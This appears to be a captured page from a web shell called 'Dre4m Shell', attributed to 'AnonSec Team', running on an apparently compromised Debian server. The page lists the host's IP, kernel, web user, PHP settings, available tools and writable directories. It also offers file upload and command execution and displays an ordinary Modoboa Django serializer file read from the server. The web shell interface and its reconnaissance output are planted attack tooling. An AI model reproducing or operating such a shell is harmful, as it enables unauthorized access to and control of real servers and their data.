Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.189.194.225
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/modoboa/env/lib64/python3.5/site-packages/modoboa/relaydomains/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/modoboa/env/lib64/python3.5/site-packages/modoboa/relaydomains//serializers.py
"""RelayDomain serializers."""

import json

from django.utils.translation import ugettext as _

from rest_framework import serializers

from modoboa.admin import models as admin_models
from modoboa.transport import backends as tr_backends, models as tr_models


class TransportSerializer(serializers.ModelSerializer):
    """Transport serializer."""

    class Meta:
        model = tr_models.Transport
        fields = ("pk", "service", "_settings")

    def validate(self, data):
        """Check fields based on backend."""
        self.backend = tr_backends.manager.get_backend(data["service"])
        if not self.backend:
            raise serializers.ValidationError({
                "service": _("Unsupported service")
            })
        data["_settings"] = json.loads(data["_settings"])
        errors = self.backend.clean_fields(data["_settings"])
        if errors:
            raise serializers.ValidationError({
                "_settings": ",".join(
                    ["{}: {}".format(error[0], error[1]) for error in errors])
            })
        return data


class RelayDomainSerializer(serializers.ModelSerializer):
    """RelayDomain serializer class."""

    transport = TransportSerializer()

    class Meta:
        model = admin_models.Domain
        fields = (
            "pk", "name", "enabled", "transport", "enable_dkim",
            "dkim_key_selector", "dkim_public_key"
        )
        read_only_fields = ("pk", "dkim_public_key", )

    def create(self, validated_data):
        """Use backend to serialize data."""
        transport = tr_models.Transport(**validated_data.pop("transport"))
        transport.pattern = validated_data["name"]
        transport.save()
        domain = admin_models.Domain(**validated_data)
        domain.type = "relaydomain"
        domain.transport = transport
        domain.save(creator=self.context["request"].user)
        return domain

    def update(self, instance, validated_data):
        """Use backend to serialize data."""
        transport_data = validated_data.pop("transport")
        for key, value in validated_data.items():
            setattr(instance, key, value)
        instance.save()
        for key, value in transport_data.items():
            setattr(instance.transport, key, value)
        instance.transport.pattern = instance.name
        instance.transport.save()
        return instance

Anon7 - 2022
AnonSec Team